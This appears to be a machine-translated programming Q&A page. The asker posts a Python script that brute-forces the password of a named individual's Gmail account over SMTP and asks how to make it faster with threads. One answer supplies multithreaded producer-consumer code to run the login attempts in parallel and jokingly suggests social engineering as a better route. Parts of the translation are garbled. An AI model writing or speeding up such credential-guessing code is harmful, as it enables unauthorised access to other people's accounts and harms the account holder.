Question

我花了很多时间为gmail制作这个暴力破解程序：

import smtplib
from itertools import permutations
import string
import time
import os
from datetime import datetime
allC=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
num=1
allP=len(allC)**num
sumt=0
procent=0
while True:
   for i in permutations(allC, num):
      try :
          i="".join(i)
          server = smtplib.SMTP('smtp.gmail.com',587) 
          server.ehlo()
          server.starttls()
          server.ehlo()
          server.login('raslav.milutinovic@gmail.com',i)
          print str(datetime.now())
          print i
          break
          server.close()     
      except Exception,e:
          if 'Errno 11001' in e:
               input()
          pass
    sumt=sumt+1.00001
    procent=sumt/allP*100
    print "Level :",num
    print "Procent :",int(procent)



   num=num+1
   procent=0
   sumt=0
   allP=len(allC)**num

注意：缩进可能不正确但它非常慢=每小时5000次尝试

我如何使用线程来测试更多的时间？而且我也不会用它来辟邪...... 只是一个简单的学习项目

Answer 1

这是Python的线程的任务之一。

每当网络代码被阻止时，其他线程就会运行。 SO上已有帖子显示如何以类似的方式使用带有线程的urllib。

Answer 2

创建一个生成器线程，使用排列填充列表，并使用多个其他线程从列表中获取值并对其进行测试：

from time import sleep
from threading import Thread
queue = []
done = False
num_consumers = 10

def generate():
    #the generator - fill queue with values and set a flag when done
    global queue, done
    for val in permutations(allc, num):
        if len(queue) > 100:
            sleep(0.5)
            continue
        queue.append(val)
    done = True

def consume():
    #the consumer - get a value from the queue and try to login
    global queue, done
    while queue or not done:
        if len(queue) == 0:
            sleep(0.05)
            continue
        try_login(queue.pop())

#create a generator and multiple consumer threads with the respective fcts
generator = Thread(target=generate)
consumers = [Thread(target=consume) for _ in range(num_consumers)]
#start the consumers and the generator
[c.start() for c in consumers]
generator.start()

这不是一个完整的方法 - 例如，queue.pop()可能应该包含在try语句中，因为尽管检查线程是在if之后但在{之前}切换，但列表仍然可以为空{1}}，你还需要优化睡眠值和消费者数量等等。但最重要的是，它不会让你在黑客攻击gmail - 这应该是非常不可能的蛮力，因为他们是经过太多尝试失败后，部署验证码，IP禁令和其他好东西。你最好的方法是社会工程：）

如何使用线程更快地使这个功能？

2 个答案: